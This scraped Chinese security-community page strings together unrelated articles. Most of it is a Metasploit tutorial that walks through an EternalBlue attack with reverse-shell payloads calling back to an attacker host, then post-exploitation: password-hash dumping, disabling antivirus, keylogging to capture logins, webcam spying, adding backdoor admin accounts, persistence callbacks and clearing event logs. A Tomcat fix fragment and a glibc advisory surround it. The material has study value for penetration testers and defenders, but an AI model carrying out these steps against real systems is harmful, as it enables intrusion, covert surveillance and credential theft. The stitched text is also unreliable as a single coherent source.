根据业务评估配置readonly和VirtualDirContext值为Ture或注释参数，禁用PUT方法并重启tomcat，临时规避安全风险，升级为最新版本；
注意： 如果禁用PUT方法，对于依赖PUT方法的应用，可能导致业务失效。
官方已经发布Apache Tomcat 7.0.81 版本修复了两个漏洞建议升级最新版。 | 社区文章 |
# MSF使用详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
#
## Metasploit
Metasploit
Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点，讲解MSF框架的使用。
**MSF的更新** **：** msfupdate
## Metasploit的安装和升级
在一般的linux中，默认是不安装MSF的。以下是在非kali的Linux下安装MSF框架。
**一键安装**
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
adduser msf #添加msf用户
su msf #切换到msf用户
cd /opt/metasploit-framework/bin #切换到msf所在的目录
./msfconsole #以后启动msfconsole，都切换到msf用户下启动，这样会同步数据库。如果使用root用户启动的话，不会同步数据库
也可以将msfconsole加入到执行目录下，这样在任何目录直接msfconsole就可以了
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
#备注：
#初次运行msf会创建数据库，但是msf默认使用的PostgreSQL数据库不能与root用户关联，这也这也就是需要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖，初次运行是在root用户下，请使用 msfdb reinit 命令，然后使用非root用户初始化数据库。
MSF后期的升级：msfupdate
**使用方法：**
· 进入框架：msfconsole
· 使用search命令查找相关漏洞： search ms17-010
· 使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
· 使用info查看模块信息： info
· 设置攻击载荷：set payload windows/x64/meterpreter/reverse_tcp
· 查看模块需要配置的参数：show options
· 设置参数：set RHOST 192.168.125.138
· 攻击：exploit / run
· 后渗透阶段
不同的攻击用到的步骤也不一样，这不是一成不变的，需要灵活使用。
我们也可以将攻击代码写入 configure.rc（只要是以 .rc 结尾的文件）配置文件中，然后使用命令msfconsole -r
configure.rc 进行自动攻击！
## MSF中加载自定义的exploit模块
参考文章：[CVE-2019-0708
远程桌面漏洞复现](https://blog.csdn.net/qq_36119192/article/details/100609875)
，该文中介绍了如果加载自定义的exploit模块并且成功攻击。
## 漏洞利用(exploit)
漏洞利用exploit，也就是我们常说的 exp，他就是对漏洞进行攻击的代码。
exploit漏洞利用模块路径：/usr/share/metasploit-framework/modules/exploits
这里面有针对不同平台的 exploit 。
我们现在就进 windows 平台看看，这里会列出针对windows平台不同服务的漏洞利用
我们进入 **smb** 服务，这是windows中经常爆出漏洞的服务，比如我们的永恒之蓝漏洞就在这里面。漏洞利用代码是以 rb
结尾的文件，因为metasploit是用Ruby语言编写的。
## 攻击载荷(payload)
payload模块路径：/usr/share/metasploit-framework/modules/payloads
Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码，而在Metasploit中Payload是一种特殊模块，它们能够以漏洞利用模块运行，并能够利用目标系统中的安全漏洞实施攻击。简而言之，这种漏洞利用模块可以访问目标系统，而其中的代码定义了Payload在目标系统中的行为。
**Shellcode**
：Shellcode是payload中的精髓部分，在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下，目标系统执行了shellcode这一组指令
之后，才会提供一个命令行shell。
Metasploit中的 Payload 模块主要有以下三种类型：
> > * -Single
>>
>> * -Stager
>>
>> * -Stage
>>
>>
* · Single是一种完全独立的Payload，而且使用起来就像运行 calc.exe 一样简单，例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的，因此它们有可能会被类似 netcat 这样的非metasploit处理工具所捕捉到。
* · Stager这种Payload负责建立目标用户与攻击者之间的网络连接，并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp，它可以让目标系统与攻击者建立一条tcp连接，让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp，它可以让目标系统开启一个tcp监听器，而攻击者随时可以与目标系统进行通信(正向连接)。
* · Stage是Stager Payload下的一种Payload组件，这种Payload可以提供更加高级的功能，而且没有大小限制。
在 Metasploit 中，我们可以通过Payload的名称和使用格式来推断它的类型：
Single Payload的格式为：<target>/ <single> 如：windows/powershell_bind_tcp
Stager/Stage Payload的格式为：<target>/ <stage> / <stager> 如：windows/meterpreter/reverse_tcp
当我们在Metasploit中执行 show payloads 命令之后，它会给我们显示一个可使用的Payload列表：
在这个列表中，像 windows/powershell_bind_tcp 就是一个Single Payload，它不包含Stage Payload
而 windows/meterpreter/reverse_tcp 则由一个 **Stage Payload** （ **meterpreter** ）和
一个 **Stager Payload** （ **reverse_tcp** ）组成
**Stager中几种常见的payload**
windows/meterpreter/bind_tcp #正向连接
windows/meterpreter/reverse_tcp #反向连接，常用
windows/meterpreter/reverse_http #通过监听80端口反向连接
windows/meterpreter/reverse_https #通过监听443端口反向连接
正向连接使用场景：我们的攻击机在内网环境，被攻击机是外网环境，由于被攻击机无法主动连接到我们的主机，所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是，被攻击机上开了防火墙，只允许访问指定的端口，比如被攻击机只对外开放了80端口。那么，我们就只能设置正向连接80端口了，这里很有可能失败，因为80端口上的流量太多了
反向连接使用场景：我们的主机和被攻击机都是在外网或者都是在内网，这样被攻击机就能主动连接到我们的主机了。如果是这样的情况，建议使用反向连接，因为反向连接的话，即使被攻击机开了防火墙也没事，防火墙只是阻止进入被攻击机的流量，而不会阻止被攻击机主动向外连接的流量。
反向连接80和443端口使用场景：被攻击机能主动连接到我们的主机，还有就是被攻击机的防火墙设置的特别严格，就连被攻击机访问外部网络的流量也进行了严格的限制，只允许被攻击机的80端口或443端口与外部通信
## Meterpreter
Meterpreter属于 **stage payload** ，在Metasploit
Framework中，Meterpreter是一种后渗透工具，它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的，它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
Meterpreter是如何工作的？
首先目标先要执行初始的溢出漏洞会话连接，可能是 bind正向连接，或者反弹 reverse 连接。反射连接的时候加载dll链接文件，同时后台悄悄处理 dll
文件。其次Meterpreter核心代码初始化,通过
socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后，Meterpreter加载扩展，所有的扩展被加载都通过TLS/1.0进行数据传输。
Meterpreter的特点：
· Meterpreter完全驻留在内存，没有写入到磁盘
· Meterpreter注入的时候不会产生新的进程，并可以很容易的移植到其它正在运行的进程
· 默认情况下， Meterpreter的通信是加密的，所以很安全
· 扩展性，许多新的特征模块可以被加载。
我们在设置 payloads 时，可以将 payloads 设置为：windows/meterpreter/reverse_tcp ，然后获得了
meterpreter> 之后我们就可以干很多事了！具体的做的事，在我们下面的后渗透阶段都有讲！
## MS17_010(永恒之蓝)
我们现在模拟使用 MS17_010 漏洞攻击，这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞。
kali控制台输入：msfconsole 进入metasploit框架
寻找MS17_010漏洞： search ms17_010
这里找到了两个模块，第一个 **辅助模块** 是探测主机是否存在MS17_010漏洞，第二个是漏洞利用模块，我们先探测哪些主机存在漏洞
### Auxiliary辅助探测模块
该模块不会直接在攻击机和靶机之间建立访问，它们只负责执行扫描，嗅探，指纹识别等相关功能以辅助渗透测试。
输入命令：use auxiliary/scanner/smb/smb_ms17_010
查看这个模块需要配置的信息：show options
RHOSTS 参数是要探测主机的ip或ip范围，我们探测一个ip范围内的主机是否存在漏洞
输入：set RHOSTS 192.168.125.125-129.168.125.140
输入：exploit 攻击，这里有+号的就是可能存在漏洞的主机，这里有3个主机存在漏洞
### Exploit漏洞利用模块
然后我们就可以去利用漏洞攻击了，选择漏洞攻击模块： use exploit/windows/smb/ms17_010_eternalblue
查看这个漏洞的信息：info
查看可攻击的系统平台，这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统：show targets
这里只有一个，有些其他的漏洞模块对操作系统的语言和版本要求的很严，比如MS08_067，这样就要我们指定目标系统的版本的。如果不设置的话，MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)
### Payload攻击载荷模块
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码，成功渗透目标后，用于在目标系统上运行任意命令。
查看攻击载荷：show payloads
该命令可以查看当前漏洞利用模块下可用的所有Payload
设置攻击载荷：set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数： show options
设置RHOST，也就是要攻击主机的ip：set RHOST 192.168.125.138
设置LHOST，也就是我们主机的ip，用于接收从目标机弹回来的shell：set LHOST 192.168.125.129
如果我们这里不设置lport的话，默认是4444端口监听
攻击： exploit
## 后渗透阶段
运行了exploit命令之后，我们开启了一个reverse TCP监听器来监听本地的 4444
端口，即我（攻击者）的本地主机地址（LHOST）和端口号（LPORT）。运行成功之后，我们将会看到命令提示符 meterpreter > 出现，我们输入：
shell 即可切换到目标主机的windows shell，要想从目标主机shell退出到 meterpreter ，我们只需输入：exit
我们要想从 meterpreter 退出到MSF框架，输入：background
输入： sessions -l 查看我们获得的shell，前面有id
输入： sessions -i 1 即可切换到id为1的shell
输入：shell 即可进入 cmd 类型的控制，再输入：powershell ，即可进入 powershell 类型的控制台
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权,获得的当前用户是administrator才能成功
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户，密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接192.168.27的4444端口，缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上，这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
### Post 后渗透模块
该模块主要用于在取得目标主机系统远程控制权后，进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
输入：sysinfo 查看目标主机的信息
### 查看主机是否运行在虚拟机上
run post/windows/gather/checkvm
### 关闭杀毒软件
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件，通过命令：
run killav
### 获取目标主机的详细信息
使用命令：
run scraper
它将目标机器上的常见信息收集起来然后下载保存在本地
### 访问文件系统
Meterpreter支持非常多的文件系统命令（基本跟Linux系统命令类似），一些常用命令如下：
> > cd：切换目标目录；
>>
>> cat：读取文件内容；
>>
>> rm：删除文件；
>>
>> edit：使用vim编辑文件
>>
>> ls：获取当前目录下的文件；
>>
>> mkdir：新建目录；
>>
>> rmdir：删除目录；
### 上传/下载文件
download file 命令可以帮助我们从目标系统中下载文件
upload file 命令则能够向目标系统上传文件。
### 权限提升
有的时候，你可能会发现自己的 Meterpreter
会话受到了用户权限的限制，而这将会严重影响你在目标系统中的活动。比如说，修改注册表、安装后门或导出密码等活动都需要提升用户权限，而Meterpreter给我们提供了一个getsystem
命令，它可以使用多种技术在目标系统中实现提权：
getuid 命令可以获取当前用户的信息，可以看到，当我们使用 getsystem进行提权后，用户身材为 NT AUTHORITY\SYSTEM
，这个也就是Windows的系统权限。
注：执行getsystem命令后，会显示错误，但是其实已经运行成功了！
### 获取用户密码
传送门：[MSF中获取用户密码](https://xie1997.blog.csdn.net/article/details/105815134)
### 运行程序
先查看目标主机安装了哪些应用
run post/windows/gather/enum_applications
我们还可以使用 execute 命令在目标系统中执行应用程序。这个命令的使用方法如下：
execute 参数 -f 可执行文件
运行后它将执行所指定的命令。可选参数如下：
> > -f：指定可执行文件
>>
>> -H：创建一个隐藏进程
>>
>> -a：传递给命令的参数
>>
>> -i： 跟进程进行交互
>>
>> -m：从内存中执行
>>
>> -t： 使用当前伪造的线程令牌运行进程
>>
>> -s： 在给定会话中执行进程
### 屏幕截图
输入：screenshot ，截图目标主机屏幕，可以看到，图片被保存到了 /root 目录下
### 创建一个新账号
先查看目标主机有哪些用户
run post/windows/gather/enum_logged_on_users
接下来，我们可以在目标系统中创建一个新的用户账号：run getgui -u hack -p 123，这个命令会创建用户，并把他添加到
Administrators 组中，这样该用户就拥有远程桌面的权限了。
这里成功创建了用户，但是添加到Administrators组中失败了 !
如果添加到Administrators组中失败了的话，我们可以运行：shell ，进行cmd窗口手动将该用户添加到administrators组中。
### 启用远程桌面
当我们新添加的用户已经拥有远程桌面之后，我们就可以使用这个账号凭证来开启远程桌面会话了。
首先，我们需要确保目标Windows设备开启了远程桌面功能（需要开启多个服务），不过我们的 getgui 脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能（重启之后同样会自动开启），我们输入： run getgui -e 或者 run
post/windows/manage/enable_rdp
在开启远程桌面会话之前，我们还需要使用“idletime”命令检查远程用户的空闲时长： idletime
然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。由于上一步创建的用户没有被添加到远程桌面用户组中，所以这一步就没法演示。
### 键盘记录
Meterpreter还可以在目标设备上实现键盘记录功能，键盘记录主要涉及以下三种命令：
> > keyscan_start：开启键盘记录功能
>>
>> keyscan_dump：显示捕捉到的键盘记录信息
>>
>> keyscan_stop：停止键盘记录功能
不过在使用键盘记录功能时，通常需要跟目标进程进行绑定，接下来我们介绍如何绑定进程，然后获取该进程下的键盘记录
### 进程迁移
Meterpreter
既可以单独运行，也可以与其他进程进行绑定。因此，我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定，并以此来实现持久化。
在下面的例子中，我们会将Meterpreter跟 winlogon.exe 绑定，并在登录进程中捕获键盘记录，以获得用户的密码。
首先，我们需要使用： ps 命令查看目标设备中运行的进程：
我们可以使用： getpid 查看我们当前的进程id
使用： migrate 目标进程ID 命令来绑定目标进程id，这里绑定目标pid的时候，经常会断了 shell。进程迁移后会自动关闭原来进程，没有关闭可使用
kill pid 命令关闭进程。或者使用自动迁移进程（run
post/windows/manage/migrate）命令，系统会自动寻找合适的进程然后迁移。
绑定完成之后，我们就可以开始捕获键盘数据了，可以看到，用户输入了 123 然后回车，说明密码是 123
### 禁止目标主机使用键盘鼠标
· 禁止(允许)目标使用键盘： uictl disable (enable) keyboard
· 禁止(允许)目标使用鼠标： uictl disable (enable) mouse
### 用目标主机摄像头拍照
· 获取目标系统的摄像头列表：webcam_list
· 从指定的摄像头，拍摄照片：webcam_snap
· 从指定的摄像头，开启视频：webcam_stream
可以看到啊，目标主机有一个摄像头
于是，我们拍一张照片看看，可以看到，已经拍完了照，并且显示出来了
我们再来开启视频试试，开启摄像头拍摄视频。他会弹出一个网页，可以查看到摄像头那端的实时操作，相当于直播
### 使用扩展库
输入 load 或者 run 然后双击table
### 生成持续性后门
因为 meterpreter 是基于内存DLL建立的连接，所以，只要目标主机关机，我们的连接就会断。总不可能我们每次想连接的时候，每次都去攻击，然后再利用
meterpreter 建立连接。所以，我们得在目标主机系统内留下一个持续性的后门，只要目标主机开机了，我们就可以连接到该主机。
建立持续性后门有两种方法，一种是通过 **启动项启动** (persistence) ，一种是通过 **服务启动** (metsvc)
**启动项启动**
启动项启动的话，我们先生成一个后门工具，传送门——>
[用MSF生成一个后门木马](https://blog.csdn.net/qq_36119192/article/details/83869141)
然后放到windows的启动目录中：
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这样这个后门每次开机就都能启动了，然后我们只要相连就监听相应的端口就行了。
**服务启动**
通过服务启动，我们可以运行命令
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接192.168.27的4444端口，缺点是容易被杀毒软件查杀
#然后它就在目标机新建了这个文件：C:\Windows\TEMP\CJzhFlNOWa.vbs ，并把该服务加入了注册表中，只要开机就会启动
我们在被攻击机可以看到这个文件，是一个VBScript脚本
查看靶机的端口连接情况，可以看到靶机连着我们的8888端口
### 设置Socks代理
传送门：[MSF搭建socks代理](https://xie1997.blog.csdn.net/article/details/105872076)
### portfwd端口转发
portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地，并且监听，使用方法如下
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上，这里的192.168.11.13是获取权限的主机的ip地址
然后我们只要访问本地的3389端口就可以连接到目标主机的3389端口了
rdesktop 127.0.0.1:3389
### 清除事件日志
完成攻击操作之后，千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中，因此我们需要在完成攻击之后使用命令 clearev
命令来清除事件日志：
## 导入并执行PowerShell脚本
如果powershell脚本是用于域内信息收集的，则获取到的权限用户需要是域用户
load powershell #加载powershell功能
powershell_import /root/PowerView.ps1 #导入powershell脚本，提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain #执行该脚本下的功能模块Get-domain，该模块用于获取域信息，一个脚本下通常有多个功能模块
powershell_execute Invoke-UserHunter #该功能模块用于定位域管理员登录的主机
powershell_execute Get-NetForest #该模块用于定位域信息
## 加载stdapi
有时候虽然我们获取到了meterpreter，但是执行一些命令会显示没有该命令，这时我们可以执行：load stdapi来加载，这样我们就可以执行命令了。
## 升级Session
有时候，当我们收到的不是 meterpreter 类型的 session 的话，可能不好操作。我们可以执行命令 sessions -u id
来升级session。执行该命令，默认调用的是 post/multi/manage/shell_to_meterpreter 模块。
## Meterpreter的更多用法
### Core Commands 核心命令
Command Description
* * *
? Help menubackground Backgrounds the current session bgkill Kills a
background meterpreter script bglist Lists running background scripts bgrun
Executes a meterpreter script as a background thread channel Displays
information or control active channels close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode stringsexit Terminate the
meterpreter session get_timeouts Get the current session timeout valueshelp
Help menuinfo Displays information about a Post module irb Drop into irb
scripting mode load Load one or more meterpreter extensions machine_id Get the
MSF ID of the machine attached to the sessionmigrate Migrate the server to
another processquit Terminate the meterpreter session read Reads data from a
channel resource Run the commands stored in a file run Executes a meterpreter
script or Post module set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session. transport
Change the current transport mechanism use Deprecated alias for ‘load’ uuid
Get the UUID for the current session write Writes data to a channel
### Stdapi: File system Commands 文件系统命令
Command Description
* * *
cat Read the contents of a file to the screen cd Change directory dir List
files (alias for ls) download Download a file or directory edit Edit a file
getlwd Print local working directory getwd Print working directory lcd Change
local working directory lpwd Print local working directory ls List files mkdir
Make directory mv Move source to destination pwd Print working directory rm
Delete the specified file rmdir Remove directory search Search for files
show_mount List all mount points/logical drives upload Upload a file or
directory
### Stdapi: Networking Commands 网络命令
Command Description
* * *
arp Display the host ARP cache getproxy Display the current proxy
configurationifconfig Display interfacesipconfig Display interfacesnetstat
Display the network connections portfwd Forward a local port to a remote
service route View and modify the routing table
### Stdapi: System Commands 系统命令
Command Description
* * *
clearev Clear the event log drop_token Relinquishes any active impersonation
token. execute Execute a command getenv Get one or more environment variable
values getpid Get the current process identifier getprivs Attempt to enable
all privileges available to the current process getsid Get the SID of the user
that the server is running as getuid Get the user that the server is running
as kill Terminate a process ps List running processes reboot Reboots the
remote computer reg Modify and interact with the remote registry rev2self
Calls RevertToSelf() on the remote machine shell Drop into a system command
shell shutdown Shuts down the remote computer steal_token Attempts to steal an
impersonation token from the target process suspend Suspends or resumes a list
of processes sysinfo Gets information about the remote system, such as OS
### Stdapi: User interface Commands 用户界面命令
Command Description
* * *
enumdesktops List all accessible desktops and window stations getdesktop Get
the current meterpreter desktop idletime Returns the number of seconds the
remote user has been idle keyscan_dump Dump the keystroke buffer keyscan_start
Start capturing keystrokes keyscan_stop Stop capturing keystrokes screenshot
Grab a screenshot of the interactive desktop setdesktop Change the
meterpreters current desktop uictl Control some of the user interface
components
### Stdapi: Webcam Commands 摄像头命令
Command Description
* * *
record_mic Record audio from the default microphone for X seconds webcam_chat
Start a video chat webcam_list List webcams webcam_snap Take a snapshot from
the specified webcam webcam_stream Play a video stream from the specified
webcam
### Priv: Elevate Commands 提权命令
Command Description
* * *
getsystem Attempt to elevate your privilege to that of local system.
### Priv: Password database Commands 密码
Command Description
* * *
hashdump Dumps the contents of the SAM database
### Priv: Timestomp Commands 时间戳命令
Command Description
* * *
**timestomp** Manipulate file MACE attributes
相关文章：[Msfvenonm生成一个后门木马](https://blog.csdn.net/qq_36119192/article/details/83869141)
[渗透测试神器Cobalt
Strike的使用](https://blog.csdn.net/qq_36119192/article/details/89489609)
如果你想和我一起讨论的话，那就加入我的知识星球吧！ | 社区文章 |
# 痛中思痛：大安全时代EOC与SOC酝酿变法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。本文翻译自 [原文链接]()。如若转载请注明出处。
商务合作，文章发布请联系 [email protected]
本文由 **安全牛** 原创发布
转载，请参考[转载声明](https://www.anquanke.com/note/repost)，注明出处：
[https://www.anquanke.com/post/id/198127](/post/id/198127)
安全客 - 有思想的安全新媒体
本文转载自: []()
如若转载,请注明出处： []()
安全客 - 有思想的安全新媒体
分享到：
* [SOC](/tag/SOC)
**+1** __0赞
__收藏
安全牛
分享到： | 社区文章 |
# Glibc爆栈溢出漏洞，影响众多Linux发行版，攻击者构造恶意DNS远程执行命令
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**Glibc,GNU C库内核受到去年GHOST
vulnerability的影响,容易受到另一个重大漏洞几乎所有的Linux机器,以及web服务API和主要web框架中运行的代码都受影响。**
cve-2015-7547,是一个基于堆栈缓冲区溢出，glibc中getaddrinfo函数在处理特定dns
response数据包时存在栈溢出，攻击者可通过构建恶意dns服务或中间人的方法对受害者发起攻击，可造成远程代码执行。
**补丁地址：**
<https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html>
**修复建议：**
主要发行版以发布安全补丁，按照各发行版本安全公告升级glibc
**相关文章：**
[https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html](http://https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html) | 社区文章 |
Subsets and Splits